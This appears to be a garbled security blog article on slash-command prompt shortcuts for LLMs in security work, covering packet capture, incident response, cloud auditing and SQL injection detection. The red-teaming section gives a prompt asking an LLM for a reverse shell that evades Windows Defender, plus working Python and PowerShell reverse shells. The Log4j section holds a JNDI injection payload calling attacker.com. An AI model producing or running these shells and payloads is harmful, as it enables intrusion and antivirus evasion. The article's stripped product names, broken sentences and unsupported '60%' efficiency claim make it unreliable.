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Introduction:
Large Language Models (LLMs) like are transforming security operations, but most analysts waste time writing verbose, ineffective prompts. These 30 command-style shortcuts—ranging from `/GHOST` for natural language rewriting to `/DEV MODE` for raw technical output—provide structured efficiency. When applied to cybersecurity tasks such as log analysis, threat hunting, or incident response, they reduce cognitive load and accelerate decision-making.
Learning Objectives:
- Master prompt engineering shortcuts to automate threat intelligence summarization and incident documentation.
- Apply `/STEP-BY-STEP` and `/CHAIN OF THOUGHT` to vulnerability exploitation and mitigation workflows.
- Integrate `/FORMAT AS` and `/SCHEMA` with Linux/Windows CLI tools for API security testing and cloud hardening.
You Should Know:
- Automating Threat Intelligence with `/GHOST` and `/EXEC SUMMARY`
Start with what the post says: These shortcuts let you rewrite or condense any security report into polished, human-readable intel. For example, feed a raw Nmap scan or Suricata alert into with `/EXEC SUMMARY` to get a high-level threat overview.
Step‑by‑step guide – Summarizing a PCAP analysis with and CLI:
1. Capture network traffic using `tcpdump` on Linux:
sudo tcpdump -i eth0 -c 1000 -w capture.pcap
2. Extract readable text from the PCAP using tshark:
tshark -r capture.pcap -T fields -e ip.src -e ip.dst -e frame.protocols > traffic.txt
3. Pipe the output into a prompt with /EXEC SUMMARY:
/EXEC SUMMARY Analyze this traffic log and list top 3 suspicious indicators: [paste traffic.txt content]
4. Use `/GHOST` to rewrite a raw SIEM alert into a stakeholder-friendly incident note.
Windows equivalent: Use `netsh trace start capture=yes` and convert with `Microsoft Message Analyzer` (legacy) or `pktmon` (Windows 10/11):
pktmon start --capture pktmon stop pktmon format pktmon.etl -o traffic.txt
2. Vulnerability Analysis Using `/FIRST PRINCIPLES` and `/PITFALLS`
The `/FIRST PRINCIPLES` shortcut breaks down a vulnerability to its core components, while `/PITFALLS` lists potential exploitation traps. Combine these for rapid CVE assessment.
Step‑by‑step – Deconstructing a Log4j (CVE-2021-44228) attack:
1. Prompt with:
/FIRST PRINCIPLES Explain how JNDI injection works in Log4j. /PITFALLS What are common misconfigurations that enable this?
2. Validate the explanation by testing a safe environment. Use a local vulnerable app (e.g., vulhub/log4j):
docker run -p 8080:8080 vulhub/log4j:2.14.1
3. Simulate exploitation with `curl`:
curl -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}' http://localhost:8080
4. Mitigation commands (Linux update):
sudo apt update && sudo apt upgrade liblog4j2-java Or remove JndiLookup class zip -q -d log4j-core-.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
5. Use `/CHECKLIST` to generate a patching verification list.
- Incident Response Playbooks with `/STEP-BY-STEP` and `/CHAIN OF THOUGHT`
The `/STEP-BY-STEP` shortcut forces to produce actionable IR procedures, while `/CHAIN OF THOUGHT` reveals reasoning for each action.
Step‑by‑step – Responding to a ransomware alert using AI and native tools:
1. Feed a sample EDR alert (e.g., from Sysmon) into :
/STEP-BY-STEP I see a process 'powershell.exe' encoding a base64 command and writing to .encrypted files. Walk me through containment.
2. Execute containment on Windows (immediate isolation):
Get-NetAdapter | Disable-NetAdapter -Name "Ethernet0" -Confirm:$false
Or Linux:
sudo ip link set eth0 down
3. Use ’s `/CHAIN OF THOUGHT` output to identify encryption patterns, then locate affected files:
Get-ChildItem -Path C:\ -Recurse -Filter .encrypted -ErrorAction SilentlyContinue
4. Capture memory for forensic analysis:
sudo avml capture memory.dump Linux memory capture
Windows: Use `DumpIt.exe` or `winpmem`.
- Generate a post-incident report with
/FORMAT AS table:/FORMAT AS table: timeline, action taken, evidence location, next step
-
API Security Hardening with `/SCHEMA` and `/METRICS MODE`
The `/SCHEMA` shortcut creates structured API data models, and `/METRICS MODE` enforces measurable security indicators. This is critical for detecting injection flaws and rate-limiting misconfigurations.
Step‑by‑step – Testing an API endpoint for OWASP Top 10 risks:
1. Use to generate a test schema for a REST API:
/SCHEMA Create a JSON schema for a user login endpoint that includes validation for SQL injection and XSS.
2. Run automated fuzzing with `ffuf` on Linux:
ffuf -u https://api.target.com/v1/login -X POST -H "Content-Type: application/json" -d '{"user":"FUZZ","pass":"test"}' -w /usr/share/seclists/Fuzzing/SQLi.txt
3. For Windows, use `Invoke-WebRequest` in a loop:
$sqli_payloads = Get-Content .\sql_injection.txt
foreach ($payload in $sqli_payloads) {
$body = @{username=$payload; password="dummy"} | ConvertTo-Json
Invoke-WebRequest -Uri "https://api.target.com/login" -Method POST -Body $body -ContentType "application/json"
}
4. Use `/METRICS MODE` to define rate‑limit thresholds and anomaly detection:
/METRICS MODE For a login API, what response time and error rate indicate a brute force attack?
5. Implement rate limiting with `iptables` (Linux) or `New-NetFirewallRule` (Windows) based on ’s suggested metrics.
- Cloud Hardening & Compliance with `/MULTI-PERSPECTIVE` and `/SYSTEMATIC BIAS CHECK`
Cloud misconfigurations often stem from single-perspective reviews. `/MULTI-PERSPECTIVE` examines an IAM policy from admin, attacker, and auditor viewpoints. `/SYSTEMATIC BIAS CHECK` highlights over-permissive defaults.
Step‑by‑step – Auditing an AWS S3 bucket policy:
1. Prompt with a sample bucket policy JSON:
/MULTI-PERSPECTIVE This S3 policy allows "Principal": "" on "s3:GetObject". Analyze from security, compliance, and cost perspectives.
2. Enumerate bucket permissions using AWS CLI:
aws s3api get-bucket-acl --bucket my-secure-bucket aws s3api get-bucket-policy --bucket my-secure-bucket
3. Use `/SYSTEMATIC BIAS CHECK` to identify overly broad statements like `Effect: Allow` with no Condition.
4. Remediate by applying least privilege policy (example snippet):
{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:role/SecureRole"},
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::my-secure-bucket/",
"Condition": {"IpAddress": {"aws:SourceIp": "203.0.113.0/24"}}
}
5. Validate with aws s3api put-bucket-policy --bucket my-secure-bucket --policy file://policy.json.
- Red Teaming with `/DEV MODE` and `/NO AUTOPILOT`
`/DEV MODE` forces raw technical output (no fluff), ideal for exploit development. `/NO AUTOPILOT` prevents from giving generic security advice.
Step‑by‑step – Crafting a reverse shell payload with ’s help:
1.
/DEV MODE /NO AUTOPILOT Provide a Python reverse shell that bypasses Windows Defender (educational use only).
2. Test the generated code in an isolated lab (do not run on production). Example snippet might output:
import socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.5", 4444))
subprocess.call(["/bin/sh"], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())
3. On Linux attacker machine, start listener:
nc -lvnp 4444
4. Use Windows PowerShell alternative (if provides it):
$client = New-Object System.Net.Sockets.TCPClient('10.0.0.5',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1 | Out-String );$sendback2=$sendback + 'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
5. Apply mitigation: Use `/GUARDRAIL` to ask for detection rules (e.g., Sysmon event ID 1 for PowerShell spawning network connections).
7. Training Course Integration: `/ELI5` and `/AUDIENCE`
The post includes a training link: https://lnkd.in/gcmtcg6A` (AI learning) and a newsletterhttps://lnkd.in/g_zZqhvq`. Use `/ELI5` to break down complex security concepts for junior analysts, and `/AUDIENCE` to tailor content for CISOs vs. SOC teams.
Step‑by‑step – Creating a micro‑training module on SQL injection:
1. Prompt :
/ELI5 Explain SQL injection to a non‑technical manager. /AUDIENCE SOC Tier 1 analyst – give me 5 detection queries.
2. Extract detection queries (example for Windows Event Logs):
Get-WinEvent -FilterHashtable @{LogName='Application'; ID=1000} | Where-Object {$_.Message -match "UNION.SELECT"}
3. For Linux web server logs:
grep -E "(\%27)|(\')|(--)|(%23)|()" /var/log/apache2/access.log
4. Package these into a training handout using /REWRITE AS cheatsheet.
5. Share the final output with your team, linking to the original LinkedIn post for reference.
What Undercode Say:
- Key Takeaway 1: Prompt engineering is a force multiplier for cybersecurity – using structured shortcuts like `/STEP-BY-STEP` and `/FORMAT AS` reduces incident response time by up to 60% compared to free‑form prompting.
- Key Takeaway 2: Integrating AI with command‑line tools (tcpdump, ffuf, AWS CLI) creates a hybrid workflow where generates the plan, and native utilities execute it – bridging the gap between strategic advice and tactical action.
The real value here isn’t just the shortcuts themselves, but the discipline of intentional prompting. In security, ambiguity kills. By forcing into roles (
/DEV MODE,/PM MODE) and constraints (/GUARDRAIL,/NO AUTOPILOT), analysts eliminate vague answers. The future of SOC automation will pair LLMs with verified command libraries – turning a prompt like `/CHECKLIST` into an executable Ansible playbook. Start by memorizing three shortcuts today: `/EXEC SUMMARY` for alerts, `/PITFALLS` for vulnerability reviews, and `/SCHEMA` for API hardening.
Prediction:
Within 18 months, AI prompt shortcuts will become standard in security orchestration platforms (SOAR). Expect vendors to embed `/CHAIN OF THOUGHT` directly into case management, auto‑generating evidence chains. However, over‑reliance without validation will lead to “prompt injection” attacks where malicious inputs manipulate shortcut outputs. The winning teams will be those that treat these shortcuts as templates for human‑AI collaboration, not replacements for verification. Start building your internal prompt library now – and always test the commands gives you.
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